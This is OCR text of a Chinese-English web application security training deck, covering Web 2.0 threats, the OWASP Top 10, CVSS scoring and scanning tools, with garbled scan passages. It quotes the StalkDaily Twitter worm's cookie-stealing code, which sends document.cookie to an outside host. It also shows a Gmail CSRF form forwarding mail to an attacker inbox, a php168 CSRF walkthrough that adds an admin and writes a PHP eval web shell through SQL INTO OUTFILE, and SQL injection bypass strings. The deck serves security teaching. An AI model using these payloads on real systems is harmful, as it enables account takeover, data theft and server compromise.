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e social network & broad connectivity

— WEB 1.0 -> WEB 2.0 (28,9 =, blog, plurk,facebook,
twitter, wiki)
Opera : Facebook ~ Plurkig:if & gi10- L PRk

Operasifi— s $HEsFaL + 48 b6 3 SeEmRRAA B FI A S % + FacebookEIAT A3 Opera Mini
FS B BRI S04 - IS V&S + Facebook - Plurkin BEEE/EERT1 04 48 05N -

E1R & R T 235 4630868 Opera MiniFHEBESSRAIBE T A0 » S5 RBIRFacebook R L2
3% Opera MiniFF =485 141835 6 FRAISEIE 2 — » 20006 ST BT FHSHEF A IR E6HE »
Twitter S thfBiE82800% - BAFacebook[F Rxp - Fi HEFEFI 3788, -

— Facebook, which has over 300 million users, was the original
target of the KOOBFACE botnet — for $$$$$

— no longer any global outbreaks, as were previously
experienced with Slammer or CodeRed, but carefully
orchestrated and architected attack; CSRF for finance,
phishing, XSS, SQL’F A and etc - for 2§22
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Web 2.0's Security Problems Causing a Slow-Motion Train Wreck
Sowvrce: Yankee Group, 2007

* Loss of customer

. confidence

dicators| |Applications 1 * Widespread identity

theft

* Malware super
distribution

* Larger-scale site
defacement

* Erosion of sodal
networks
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17-year-old claims responsibility for Twitter worm

BN O like what we do? dnnatlg today. N
news PayPal

the breaking news wire

From the BNO Newsroom. Reporting by Jake Bialer and Michael van Poppel.

UPDATE: A second worm. created bv the same author, has infected a number of Twitter profiles. Click here for our updated storv.

Brooklyn, NEW YOERK (BENO NEWS) — Mikevy Mooney, the 17-vear-old creator of StalkDailv.com from Brooklyn, has admitted responsibility for the
Twitter worm that rapidly spread through Twitter on Saturday, stating in an email to BNO News, “T am aware of the attack and ves I am behind this attack ™

Twitter users were infected by simply visiting an infected users Twitter page. Following being infected. users began tweeting about stalkdaily com with messages
such as "Dude, www_StalkDaily.com is awesome. What's the fss?"

z=Method = sMethod . tolpperCase():

wvar content = document . documentElement  innerHTHL:
try { uszerreg = new HegExEp(-<meta content="{ . %)" name="ses=sion—-user—screen_ hamns"

if (sMethod == "GET") VAT uSSrname = userreg.exec(content)
{ uszername = username[1]:

=nlhttp. openisethod, =URL+"7?"+=Vars. true):

sVars = "": var cookie:
b cookie = urlencode{document .cookie):
slse document .write("<img =rc="http:s mikeyylolz uuug. comn~x.php?c=" + cookie +
i document .write("<img =rc="http:sr=stalkdaily con-log.gif'>")

Znlhttp. openi{sMethod, =URL. true):

Enlhttp. setReguestHeader | "Hethod" ., "POST "+=URL+" HTTE-1.1");

function wait()
#znlhttp. ==etRequestHeader("Content-Typ=".

o g g B {
3 Gpplicatioreiuniagtorngunlcnce =y var content = docunent  documentElement  innerHTHL:
xm%http.Dnreadystatechange = function(){ authreg = new RegExp(-twttr. form_authenticity_token = '( . %)' - g):
if (=mlhttp. readyState == 4 && |bComplete) e e e T T
{ . :

authtolken = authtoken[1]:

bComplete = true; sralert{authtaoken):

fnDone{=mnlhttp)
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L A4 - Insecure Direct Object References
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Asprox Botnet|Installs SQL Injection Tool | McAfee : Google B #FIFEY |
A small botnet known as Asprox has been used in password stealing, spam, and phishing attacks. This week =
A‘e’&"“”!%??ﬁéﬁeﬁrézgﬂ”ﬁia‘&%i?bﬂiﬁil‘?2&5%25ﬁ%"ia%’l%’fé’dfc?td{'n’iﬁé'&?m"’é?d‘s S ﬁ I(E i Mcf TR X |
- B A FE OB SRR E R - 5L
xmﬂ“ E&_+2uL%ZMK%ﬁE
automatig *E'-ZEIAU rora
It's always lmE;mant to stay up-to-date on security patches and AV protection, s this could help prevent an
infection If folks accidently visit a malicious website,
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« BEBLOH, where the malware went beyond

“traditional” keylogging

by not only

stealing credit card information but also

accessing the account and

transferring funds

to another account — B35 —kIT 5%, 20IR!!
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http://www.gnucitizen.org/util/csrf?
_method=POST& _enctype=multipart/fori
%3A/Imail.google.com/mail/h/ewtljmuj4d
%3Dprf&cf2_emc=true&cf2_email=evilir
&cfl subj&cfl _has&cfl hasnot&cfl atts
b=Create%20Filter

e e

BRIR: P EEETT
FrEBEZEmRs

<html><body>

<form name=""form" method=""POST"" enctype=""multipart/form-data*
action=""https://mail.google.com/mail/h/ewtljmujdddv/?v=prf**>

<input type=""hidden"* name=""cf2_emc" value=""true""/>

<input type=""hidden"" name=""cf2_email"
value=""evilinbox@mailinator.com"/>

<input type=""hidden"* name=""cf1_from' value=""/>

<input type=""hidden'* name=""cfl_to" value=""""/>

<input type=""hidden'* name=""cfl_subj'* value=""""/>

<input type=""hidden"* name=""cfl_has"" value=""/><input type=""hidden"’
name=""cfl_hasnot" value=""""/>

<input type=""hidden'* name=""cfl_attach" value=""true"'/>

<input type=""hidden"" name=""tfi"* value="""/>

<input type=""hidden"* name=""s"" value=""z""/>

<input type=""hidden"* name=""irf"* value=""on""/>

<input type=""hidden'* name=""nvp_bu_cftb' value=""Create Filter"'/>
</form><script>form.submit()</script></body></html|>




SBCSRFEE X, HifiPIEHRE

« CSRF(cross site request forgery) 2 A5
A Ao
« B AIL A IS N E R
« REBE ABIRAL, M7 # B AL
« BB OEETHIERT
s WEBAMABERE, BERZmE
o NEFREIRUCIANE, EHHREZ

il




Forced Browsing e D <o v

<html>

<body>

ETHEHE

<iframe src=http://www.google.com.tw/search?hl=zh-
TW&qg=taiwan+taipei height=0 width=0>

</body>

</html>
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MARLEESNEES:

http://192.168.0.3/php168/admin/index.php?lfj=member&jo
b=addmember
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phpl68 ZCSRFIZEE ..mm...

<form name="form1" method="post"
action="index.php?lfj=member&action=addmember">
<tr class="head" >
<td colspan="2"> R M#FHAF </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">1kS:</td>
<td width="63%">
<input type="text" name="postdb[username]" >
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">%8:</td>
<td width="63%">
<input type="password" name="postdb[passwd]" >
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">EE % 8:</td>
<td width="63%">
<input type="password" name="postdb[passwd2]" >
</td>
</tr>

<tr bgcolor="#FFFFFF" >

fatkBEwww.haik8.co

s
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a A




phpl68 ZCSRFKE ..mmm ..

<td width="37%">FiBAF4:<span help=1>RABREBASNEATEER
MEFNEREERER RAEAEEASBARNSEERZ SERMMINASEERR
</span></td>
<td width="63%"> <select name="postdb[groupid]' > <option value="
selected>MARFH</option> <option value="2"' >ijfE4H </option> <option
value='3" >EBREIME S </option> <option value="4' >EIEEER
</option> <optionvalue=">--+{ E2&%HH - U TEERA+--
</option> <optionvalue='8' >E#E& 5 </option> <optionvalue='9' >SH=
Gi</option> </select> </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> B #§: </td >
<td width="63%">
<input type="text" name="postdb[email]" >
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">&nbsp; </td>
<td width="63%">
<input type="submit" name="Submit" value="1232">
</td>
</tr>

</form>




phpl68 ZCSRFKE ..omm ...

BEEUIEINE, EoEiENRNT:

<html>
<body onload="document.forml.submit()">

<form name="form1" method="post"
action="http://192.168.0.3/php168/admin/index.php?lfj=member&action=ad
dmember" >

<input type="hidden" name="postdb[username]" value="1#£7ERF'>

<input type="hidden" name="postdb[passwd]" value="nohack'>

<input type="hidden" name="postdb[passwd2]" value='nohack'>
<select name="postdb[groupid]' > <option value="3" selected >

</form>

</body>
</html>
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EEEMEABES
http://192.168.0.3/php168/upload_files/special/5_20090425170444 _
eA==htm - EEEEEEERNESHNFER THA T EEAEERMERM—
ERFE&%A "BIERF" - BWBS "nohack” MEBHREIES

B ERBEBETSUGSEEHE) - Bicrosoft Internet Explorer
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Hitk () l@j http://192. 168. 0. 3/php168/ admin/index. php?lfj=memberdaction=addmember
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HREEERNHASHEIRANZTEERINNETR - ROEMBVEES: - Ri—EE A/
K55

<html>

<body>

<iframe

src=http://192.168.0.3/phpl168/upload_files/special/5_20090425170444_eA==.htm
width=0 height=0> </iframe>

<img src=/Article/UploadPic/2010-4/2010417144022600.jpg> </img>

</body>

<html|>

53 1E Aspecial/5_20090426220451_PYwLh.jpg
http://192.168.0.3/php168/upload_files/ special/5_20090426220451_PYwLh.jpg

LRIE : PHPI6ORIS R
WREET
AP&as

v EERZKE R RIFHG? 7 192. 165, 0. 3/phpl68/upload_files/special/5_20090426220451_PYLh. jpg
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EXYiEe | XEDR | SHEWE | FHUE | EEWi@E

AFRREE FEZRIF P EEZRIR P

ﬁfﬂiﬁﬁﬂ BREERIP B FPRER I

192, 168.0.3 HBREER
2009-04-26 22:46:22 192.168.0.2 test@123. com BBA&R
1 admin 2009-04-26 22:47:33 192.168.0.3 HREER
s P P ER PE =
B> XRT [APz =] EELTRP]
[

1T : “SELECT ‘<?php @eval($_POST[cmd]);?>’

into outfile 'C:\
\AppServ\\www\\php168\\nohack.php’ "

A

EE%E#MYSQL&EE » AERRBPIEEFLRSHIPER , XHBRA FRRESIEE , RATRIEREE L ( AFEREEEE , AR
4S5 UL TA SR

FHREEEAR: O bEsqEEEERETNHE © ETsqiEaRD
F—FsqLiBAUIR  SHRF IR, HESEHEEEESZERD, BABKIEEE , SERTRTT)

ISELECT '«?php @eval($_POST[crnd]);?="into
loutfile 'CiappSeryiwwwi\php168Y\nohack.php'
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WE—F, BREETIAT!!

BE -3 Dmx [T xax |33 X O|E
Hitik (@) I\_J’ C:“\AppServ'www'phplE3

%ﬁ:\ | &I FER | EeZ BE
=l robots. IXT

2 KB IrEIryy 2005-4-:

ﬂjs. php 1N KR PHP Trid 2NN8—4—-

BN B nobock php — 2B |
i]bencand It EF) $RIe E) B O =5 ) #5Bh (H)

#]reg dz. ﬁ(?php @eval{$_POST[cmd]);?>H

ﬁreg_dz&
3vote.ph
i]search.
El =32y
E-Jfriendl
3reg_pw8
i]ad. php
Ejjsartic
ﬁjob- rhp
_;-i]reg. php
ﬁlogin.p
i]reg_pw.
i]reg_pw'f
Bconfig.
El uciaHi
#] global_
ﬁshowsp.
_E]listsp.

=lJ=spec1

i] nohaclk. LI

3 & p www. haik8. com




CSRF Preventions o mmm

Ensure that there are no XSS vulnerabilities in your application

Insert custom random tokens into every form and URL
— Store a single token in the session and add it to all forms and links

« Hidden Field: <input name=""token" value=""687965fdfaew87agrde"
type=""hidden""/>

 Single use URL.: /accounts/687965fdfaew87agrde
« Form Token: /accounts?auth=687965fdfaew87agrde ...

For sensitive data or value transactions, re-authenticate or use transaction
signing

Use X-header




Differences between t

Stored XSS(aka Persistent XSS) is more serious than
reflected XSS

Reflected XSS must use some means of inducing users to
visit attacker’s crafted URL.
phishing attack by offering a link to his own malicious web server
would be suspected as a scam
the requirement for stored XSS is avoided

Stored XSS guaranteed that victim users will be already

accessing the application at the time that the attack strikes

reflected XSS may try to engineer this situation by persuading the
user to log in
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e Business as usual for botnets but heavier

monetary purpose

— DDoS, Sending Spams, Phishing (fake websites), Backdoor
(Trojan horse), Spyware (keylogging, information
harvesting), Storing pirated materials

— IRC evolved into peer-to-peer (P2P)-type botnet is more
difficult to take down

— HTTP-based traffic will also be a communication of choice

Digital Underground




elationships among Security Factors

Threat = Gives rise to
Agent

Exploits
Threat

. Leads to
m Can damage
* _ And cause an
Can be countermeasured by a

Safeguard
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RING LINE CORPORATION
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P op B AT
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Bagle.AF/Beagle.AB/ Apprentice Worm Jul 16, 2004 @ 11:08:06
© A new variant of the mass mailing Beagle worm that opens a backdoor on infected systems has been detected in the wild,

iz ~ |
é\ ﬁ T (=] Microsoft has released Security Bulletin M504-020, addressing a buffer overflow vulnerability in the POSIX subsystem for Windows that

(=] MySQL has been found te contain two issues within authentication functiens, allowing unauthorised access to databases and arbitrary

MySQL Remote User Authorisation Bypass and Buffer Overflow: Update Jul 16, 2004 @ 11:04:15

code execution,
{MS04-020) Microsoft Windows POSIX Subsystem Privilege Escalation: Update Jul 16, 2004 @ 09:01:47

allows remote code execution,

PHP memory_limit Remote Code Execution Vulnerability Jul 15, 2004 @ 12:02:45
@ A code execution vulnerzbility has been discovered within PHP for Apache Web servers,
{MS504-019) Microsoft Windows Utility Manager Code Execution: Update Jul 15, 2004 @ 10:16:36

Bo

Microsoft has released Security Bulletin M504-013 to address a vulnerability within the Windows Utility Manager that allows local Details Correlate
Mext #

et cominne [ I U

Compliance %

0 - Threat Compliance Over Time ("Download | [ Regraph | [ Table View |
Start Date: (mm/dd/yyyy) End Date: (mm/dd/yyyy)
% r 05/18/2004 06/06/2004
Search Threats: [reset) Display View:
--Override Display-- v
Available Threats

Bagle AF/Beagle.AB/Apprentice Worm PS
MySQL Remote User Authorisation Bypass and Buffer Overf, —
{MS04-020) Microsoft Windows POSIX Subsystem Privilege .
PHP memory_limit Remote Code Execution Yulnzrability
[MS04-013) Microsoft Windows Utility Manager Code Execu..
[MS04-024) Vulnerability in Windows Shell Could Allow R.,
[MS04-023) Vulnerability in HTML Help Could Allow Code .. ¥

EE=
Selected Threats

(MS04-007) Micreseft Windows ASN.1 could allow code exe.,
Update: Sasser Worm - Wariants and Explait

s

\,\‘Qe‘ Q@‘\.\p ("0&\"‘% BS‘P \.\'Q (‘P d‘p \,“Q@‘\.\p@‘vp&\,‘p@‘Q‘Q@‘@Q@‘\,\‘Q}Q@‘\,‘p@‘vp@d\p
GRIG R U R B ) R - - L R '
PN U R A LT S VI N L i L et
Available Business Units Selected Business Units
m Asia
Europe
E (MS04-007) Microsoft Windows ASN.1 E Update: Sasser Worm - Vlariants and Merth America

B Compliance Percentage

THREAT
SCANNING




il Risk-Aware ElF=E]

THREAT DETAILS: Update: {MS04-011) Microsoft Windows Security Rollup Patch (835732) P =

[MS04-011] Microsoft
HAEDE  windows xp Windows ASM.1 Double
= -

Free Heap Corruption via
0 {ZHE@E windows 2000

DCoM
] E@E  windows zooo
HEHDE windows NT 4.0
I {@E windows 2000

ﬁm]@o Windows NT 4.0
[M504-011] Microsoft

. windows ASM.1 Double
ﬁ[ﬂ]@om R ladoasbo Free Heap Corruption via
SMB

[MS04-0111 Microsoft

. Windows ASN.1 Double
ﬂﬂ-{]@om Windows 2000 FEree Heap Corruption via
DCoM

[MS04-011] Microsoft

. Windows ASN.1 Double
&m]ﬁ)o:. miEE Eres Heap Corruption via

DCOM
MS04-011) Microsoft

. Windows ASN.1 Double
ﬁﬂ-{l@om mEEIE 2R FEree Heap Corruption via

SMTE

[MS04-011] Microsoft

. windows ASM.1 Double
ﬁﬂﬂ@om oA S AELT Fres Heap Corruption via
SMTP

MS504-011] Micrasoft

. Windows ASN.1 Double
ﬁﬂﬂ@om Windows 2000 Frze Heap Corruption via
DCoOM

[MS04-011] Microsoft

ﬁﬂ'ﬂ@o Windows 2000 Windows ASN.1 Double
= ——

Free Heap Corruption via
H{OE  windows NT 40

SMTP
HHERDE windows NT 2.0
ﬁm]@o Windows 9x/Me
] {R@E  windows NT 4.0
H{BEE  windows NT 4.0

[Unknawn] 10.0.20.163

[Unknown] 10.0,30.175
[Unknawn] 10.0.30.155
[Unknawn] 10.0.20.157
[Unknawn] 10.0.20.152
[Unknawn] 10.0.20.160

g8 Eeeke §
He«5ENH N

[Unknawn] 10.0.30.167

8

[Unknown] 10.0.20.169

8

[Unknawn] 10.0.20.170

8

[Unknawn] 10.0.20.195

8

[Unknawn] 10.0.20.159

8

[WUnknawn] 10.0,30.156

THREAT
MONITORING

[Unknown] 10.0.20.164

[Unknawn] 10.0.20.165
[Unknawn] 10.0.20.166
1. [Unknawn] 10.0.20.179
[Unknown] 10.0.20.187
14 [Unknown] 10.0.30.189

E=
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HEEEE B
L [ Sk [ BEE [ B

THREAT
COMPLIANCE
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THREAT
BENCHMARKING

THREAT
SCANNING
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RING LINE CORPORATION
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Assign any ticksts with an asset owner to

Assign o ssset owner icats ich an - Acive
Assign to John Assign all high risk vulns to John Smith | Active
. Assign all wireless issues to Rob in San X
Assign to Rob Erancizce Inactive
Export Ecommerce web farm tickets to .
Export for Ecommerce Farm Remedy HelpDesk system Active
Anonymous FTP allowed a palicy .
Ignore Anonymous FTP in Extranet axcaption for tha Extranat only. Active
. . . Assign all RedHzt Linux tickets to the .
Assign to Linux System Administrators s e s e (e Active
Send all Cisce Router, Extrama Switch,
Assign to Network Administraters | anc Check Point Firewall- 1 vulnerabilities | Active
to the network administrators
Assign Solaris Canfiguration Issues | *258" “ll firfcoizs Rz puiE pEdars | oo

with configuration) to Sally

New Tickets: You have 10 new tickats to review, out of 2216.

BFENTA, oI BEEMCE
BsRhRVAERE

73823

73824

73826

73828

73629

73830

73631

73634

73635

73636

Make all due on: |08/16/2004

Sun Solaris
Sales Commen Desktop o
Network Environmeant [CDE) [05/15/2004 [EE]|
27-2%2 =
Sean dr=ped Informaticn
Leskage
) 66.192.0.176 Selaris
st:::rk L] rshd Detected i - Py [05/15/2004 [EE]"|
Sales
Network @ RLogin Service s [0s/15/2004 [
27-28
Scan
Sales
Selsris infingsrd 66.192.0.176 . Selaris
NSEE‘::"‘ ©  UserEnumeration 66.192.0.176 27 3s  |0a1s/2004
Sales ;
Nl o  SolerisinfpdUser 8615200175 . Solars  [53/137200%
Enumeration 27-2%2
Sean Enumeration
Sales
Charasn Denial of 56.152.0.176 Solaris
Neweoric @ oty EER TR 27 s  [om/iefanos
Scan e
= 66.192.0.176 Solaris
Network @ rexecd Detected oo Py [05/15/2004
Sean R
Sales Telnet Daemon is £6.152.0.17¢ Solaris
Sales
LED Informaticn 66.192.0.176 Selaris
Network @ e syiny  |osrisiaoos
Sean R
Sales
SSHu1 Protocol Fran's lsptop OpengsD.
aam e sz o0e/16/2004 [
N;:::”‘ O Ensbled 66.192.0.130° L Soizs e El

2]

None v

None v

None v

None v

None v

None -

None v

None v

None v

P PP PP PPPLP P

Assign all to:

None vl A
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.Eg%%%ﬁjuﬁ%ﬁ = E/ME HE = ZE [ PR (K | P 7 HE,

1B R AP R | TEBRREREMATEERE |

McAfee Foundstone Enterprise

F

Risk Level Vilnerability Name Affected System(s) Countermeasure(s)
e | VIiCr0S0f 1S Authentication Enumeration DMZ10024 (CO)
e Microsoft IS WebDav Enabled DMZ 10024

Mull Session Default Administrator Account 20
=== |25 Not Been Renamed DMZ 10.02.8
(S — — —— MNull Session Administrator Password Does

Mot Expire Null Session DMZ10.02.10
(=== Microsoft Windows Terminal Service DMZ 10.0.2.10

E=====s=== TP Anonymous User Account fip Accessible iDMZ 10.0.2.14 o
Microsoft SCAL Server UDP 1434 Database
Instance TCF Information Disclosure DMZ 100216 w
| oW POtmap xdrmem getbytes() overflow DMZ10.02.18

Red Hat OpenSSH Security Update DMZ 100219
Windows Workstation Service

Netrhkstal serEnum Denial of Service DMZ 100220
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http://www.microsoft.com/windows/products/windowsvista/default.mspx
http://www.microsoft.com/windows/products/windowsxp/default.mspx
http://www.microsoft.com/windowsmobile/default.mspx
http://www.microsoft.com/windowsxp/sp2/why.mspx
http://www.microsoft.com/windowsserver2003/default.mspx
http://www.microsoft.com/windowsserver2003/default.mspx
http://www.microsoft.com/windowsserver2003/default.mspx
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4
Foundstone and IntruShield integration

[E 7 EPgE IPS £ Fou
S5 ETE
« BENEE A FoundstonedsHiiF SR

o "IHNIEHE" REEBUBEHEEERAR | | | PR —
N ) Atack | Detection Me... | Sowrce .. L= Destina.. - D S
S ThAIEIE S T e Wt e s o ot 1

% Real-time Alert

My Com
BB BACKDOOR: ICMP Chat s My Com

"wy ICMP Dastinabon Unreachabie 008 peodocokascmaly o wen wnnn My Com

1108129800 M P 10urtd QUi tRIdaMAe 120008 «-es 120001 <--- My Com

110812 HTTP XMLAPC Romi - Acknowiedge 121001 . 127004 My Com

1110812 5 WAAIO! Qo Detads noos .- e My Com

1110012380 > POST R 0.8 eee My Com

1100812373 > Co| Configure Rlert Fier ’ My Com

PaN 2\ P 119812 P PAS View i Attack Rarsponse "o aess My Com

/B fZETGE IPS % L ' 1 e

110812 CP.0 My Com

AA 110812 Cisto 108 5 b ' . 0 - My Com

My Com

5525 0 My Com

¢ v N . 2 My Com

110812 b3 216326254 «-- cen My Com

N ;o = \ Es A 16 M KERBEROS Microsod ” & MyCom
AR RS HAREHIRTINE TR BI A i e s % R A
AA 5 = /. N I5HL I : 16 M| KERBEROS Kerthnos § > n ¢ 2 My Com

10812 wadd| Delete AN 1333 4 My Com

BEH sy mmat B M HDEC
108 12 ! N 0 010 . My Com

2812 CwP 00 101010106 101010108 My Com

1 A =4 = 1 ! tmal 1303 44405 MyCom

o ?E 1#HEI] E’\J |El BRE ;ﬁ },; an ﬁ#%{q: 10812 1P LOKI2Tut 104010108 101010105 My Com

P source equa 101010106 101010106 My Com

o ANRRE I I B 4 537 RO D B e S BB SR RS

i ll
Scarch Alert Save as (SY Save as MOF




Open Framework

A universal language to convey vulnerability severity
and help determine urgency and priority of response

Solves problem of multiple, incompatible scoring
systems in use today

Initially a NIAC project. Now under the custodial care of
FIRST

Usable, understandable, and dissectible by anyone




Wl‘g] ! S{ SS? www IR com . tw

e Different Organizations
— Vendors (response)
— Coordinators (notification, coordination)
— Reporters (research, discovery)
— Users (mitigation)
e All have different roles, motivations, priorities,
resources, etc

e We need a common way to communicate!




CVSS is none of the followingm .- -

* A threat rating system such as those used by the US
Department of Homeland Security, and the Sans
Internet Storm Center.

* A vulnerability database such as the National
Vulnerability Database (NVD), Open Source
Vulnerability Database (OSVDB) or Bugtrag. -

* A vulnerability identification system such as the

industry-standard Common Vulnerabilities and
Exposures (CVE)
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® Access Vector (AV)
— Local (L)
— Adjacent Network (A)
— Network (N)

e Access Complexity (AC)
— High (H)
— Medium (M)
— Low (L)
e Authentication (Au)
— Multiple (M)
— Single (5)
— None (N)




e Confidentiality Impact (C)
— None (N)
— Partial (P)
— Complete (C)
e Integrity Impact (I)
— None (N)
— Partial (P)
— Complete (C)
e Availability Impact (A)
— None (N)
— Partial (P)
— Complete (C)




* Exploitability (E)
~  Unproven (U)
— Proof-of-Concept (POC)
— Functional (F)
— High (H)
— Not Defined (ND)
e Remediation level (RL)
— official Fix (OF)
— Temporary Fix (TF)
— Workaround (W)
— Unavailable (U)
— Not Define (ND)




e Report Confidence (RC)
— Unconfirmed (U)
— Uncorroborated (UR)
— Confirmed (C)
— Not Define (ND)




Collateral Damage Potential (CDP)
— None (N)

— Low (L)

— Low-Medium (LM)

— Medium-High (MH)

— High (H)

— Not Define (ND)

Target Distribution (ITD)
— None (N)

— Low (L)

— Medium (M)

— High (H)

— Not Define (ND)




* Security Requirements (CR, IR, AR)
— Low (L)
— Medium (M)
— High (H)
— Not Define (ND)

— CR: ConfReq
— IR: IntReq
— AR: AvailReq




Vector Representation - mam - .

Base
AV:[L,AN]/AC:[HM,L]/Au:[M,S5N]/C:[N,P,C]/I:[N,P,C]/A:[N,P,C]

Temporal
E:[U,POC,F,HND]/RL:[OF,TF,W,U ND]/RC:[UC,UR,C,ND]

Environmental
CDP:[N,L,LM,MH, H,ND]/TD:[N,L,M,H,ND]/CR:[L,M,H,ND]/IR:[
L,M,H,ND]/AR:[L,M,H,ND]

For example: a vulnerability with base metric values of “Access
Vector: Low, Access Complexity: Medium, Authentication: None,
Confidentiality Impact: None, Integrity Impact: Partial,
Availability Impact: Complete” would have the following base
vector: “AV:L/AC:M/Au:N/C:N/I:P/A:C.”




Example Vulnerability o

BY I &l #5%

RING LINE CORPORATION

ulnerability Summary for CVE-2002-0392
Original release date: 07/03/2002

Last revised: 09/10/2008
Source: US-CERT/NIST
Static Link: http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2002-0392

Overview

Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service
and possibly execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect
size.

Impact

CVSS Severity (version 2.0):
CVSS v2 Base Score: 7.5 (HIGH) (AV:N/AC:L/AU:N/C:P/I:P/A:P) (legend)

Impact Subscore: 6.4
Exploitability Subscore: 10.0

CWV5S5S Version 2 Metrics:
Access Vector: Network exploitable

Access Complexity: Low
Authentication: Not required to exploit

Impact Type: Provides unauthorized access, Allows partial confidentiality, integrity, and availability violation;
Allows unauthorized disclosure of information; Allows disruption of service




(MS08-069) Mic

Affected Syster

localhost
MICHAEL-W2k3
127.0.0.1

Description:
A vulnerability e
Recommendati

Download and in

http/ A _micrg

Observation:

A wulnerability e
handle transfer-e
which contains g

Common YVulne

CVE-2008-4033

(MS08-069) Mic

Affected Syster

Base Score Metrics

Exploitability Metrics
Access Vector

network accessible
Access Complexity
Medium |E|
Authentication

requires no authentication

Impact Metrics
Confidentiality Impact
Partial ||
Integrity Impact

Mone

Availability Impact

Mone |E|

=]

=]

Temporal Score Metrics

Exploitability
Mot Defined
Femediation Level
Mot Defined |E|
Report Confidence
Mot Defined

Overall Score
43

Apply Metrics

=]

Environmental Score Metrics

Collateral Damage Potential
Mot Defined E
Target Distribution

Mot Defined |E|
Confidentiality Requirement
Mot Defined |E|

Integrity Requirement

Mot Defined |E|

Availability Requirement
Mot Defined |Z|

Apply Vector

Current Vector: (AV:MNACMAWN/C:PI-NANEND/RLND/RC:MND/CDP:-ND/TD:ND/CR:-NOVIR-NDVAR:MD)

Base Score
4.3

Temporal Score
Undefined

Environmental Score
Lndefined

oundstone CVSS Calculatormm .- .
lovss Caleutoror g

nail,
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« web threats(malicious script Xweb ap’mia) will
continue to plague Internet users — over 90%
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« web threats will continue to plague

Internet users — over 90%
— malicious scripts

— application vulnerability
« OWASP TOP 10, AP’
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OWASP Top 10 - 2007 (Previous)

OWASP Top 10 - 2010 (New)

A2 — Injection Flaws

1\ Al — Injection

Al - Cross Site Scripting (XSS)

‘l, A2 — Cross Site Scripting (XSS)

A7 — Broken Authentication and Session
Management

A3 — Broken Authentication and Session
Management

A4 — Insecure Direct Object Reference

— A4 — Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF)

— A5 —Cross Site Request Forgery (CSRF)

<was T10 2004 A10 - Insecure Configuration
Management>

+ A6 — Security Misconfiguration (NEW)

A10 — Failure to Restrict URL Access

1‘ A7 — Failure to Restrict URL Access

<notin T10 2007>

- A8 — Unvalidated Redirects and Forwards
_ (NEW)

A8 — Insecure Cryptographic Storage

‘1’ A9 — Insecure Cryptographic Storage

A9 — Insecure Communications

‘1’ A10 - Insufficient Transport Layer Protection

A3 — Malicious File Execution

~ <dropped from T10 2010>

Handling

A6 — Information Leakage and Improper Error =~

<dropped from T10 2010>

e
.
- ‘\
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Summary: How do you address
these problems?

* Develop Secure Code

— Follow the best practices in OWASP’s Guide to Building Secure Web
Applications

— Use OWASP’s Application Security Verification Standard as a guide to
what an application needs to be secure

— Use standard security components that are a fit for your organization
e Use OWASP’s ESAPI as a basis for your standard components

* Review Your Applications
— Have an expert team review your applications

— Review your applications yourselves following OWASP Guidelines
e OWASP Code Review Guide:

* OWASP Testing Guide:

saged I 17
= "
. A



http://www.owasp.org/index.php/Guide
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ESAPI
http://www.owasp.org/index.php/Code_Review_Guide
http://www.owasp.org/index.php/Testing_Guide

Application Layer

Network Layer

request

Custom Code

‘ 1 -
App Server |

Web Server |

Hardened OS |

A-

Firewall
Firewall

Al -SQL Injection  --mmm--.

Account: OR1=1-

Pass:

ACCLTILILO0O"UUUT"LLIT"ULTD

1. Application presents a form
to the attacker

2. Attacker sends an attack in
the form data

3. Application forwards attack
to the database in a SQL query

4. Database runs query
containing attack and sends
encrypted results back to
application

5. Application decrypts data as
normal and sends results to the
user




* For programmers

Reject known bad and accept known good

Filter INSERT -~ SELECT -~ UPDATE and --,etc

Use MaxLength and data type

Use Stored Procedure instead of query connection
Use Parameterized Query instead of query connection

Multistep Validation and Canonicalization, such as
<scr<script>ipt> <scr”ipt> %27 % %2727

Canonicalization is carried out before input filters have been
applied

...and so on

Use Code Review or Web AP Vulnerability Scanner (demo!)
Web Application Firewall

SQL Injection Preventionmm-- .




* Vulnerable to SQL Injection:

Sqgll="select * from sktest where username="" & UserName &
" and password=" & Password & "' “

set Rs=conn.execute(Sql1)

* Resistant to SQL Injection:

Sqll="select * " & "from sktest " & "where username =? and
password = ?"

cmd.CommandText = sqll

Set param = cmd.CreateParameter("username", 129, 1, 20, usr)
cmd.Parameters.Append param

Set param = cmd.CreateParameter("password”, 129, 1, 20,
pass)
cmd.Parameters.Append param

cmd.ActiveConnection = conn
Set rs = cmd.Execute




By I & $5%

sl SQL Injection Escape Variarstes - -

2 OR 'Unusual' = 'Unusual’
: OR 'Simple' = 'Sim'+'ple’
: OR 'Simple' > 'S’

: OR 'Simple' IN (‘Simple’) ' -
. OR 'Simple' BETWEEN 'R' AND 'T* .TAYIALYIR
. &ProdID=2 UNION /**/ SELECT X0 (Cross 5';15",:"""“9) Cheat
...&ProdID=2/**/UNION/**/SELEC" =

Esp: for filter evasion
..., EXEC(INS+ERT INTO...")

5

5

5

By RSnake

Mote from the author: X535 is Cross Site Scripting, If you don't know how X535 (Cross Site
Scripting) works, this page probably won't help you, This page iz for people who already
understand the basics of ¥55 attacks but want a deep understanding of the nuances
regarding filter evasion. This page will also not show you how to mitigate %55 vectors or how
to write the actual cookie/oredential stealing replay session riding portion of the attack, It
will simply show the underlying methodology and you can infer the rest, Also, please note
my %55 page has been replicated by the QWASP 2.0 Guide in the Appendix section with my
permission, However, because this is a living document I suggest you continue to use this
site to stay up to date.

Also, please note that most of these cross site scripting vectors have been tested in the
browsers listed at the bottom of the page, however, if you have spedific concerns about
outdated or obscure versions please download them from Evalt, Please see the XML format
of the X35 Cheat Sheet if you intend to use CAL3000 or other automated tools, If you have
an RS5 reader feel free to subscribe to the Web Application Security RSS feed below, or join
the forum:




Other Security Issues e IR o1

1. Does SQL Injection really need single quote?

»  If doesn’t, how can you distinguish between good and bad
traffic?

»  That's why WAF nowadays is moving toward profiling

2. Path Injection
w  So called Directory Traversal and how to improve?
»  Using web ap scanner to find it

3. Client Security Escaping
»  Does client side security really work for attackers like me?

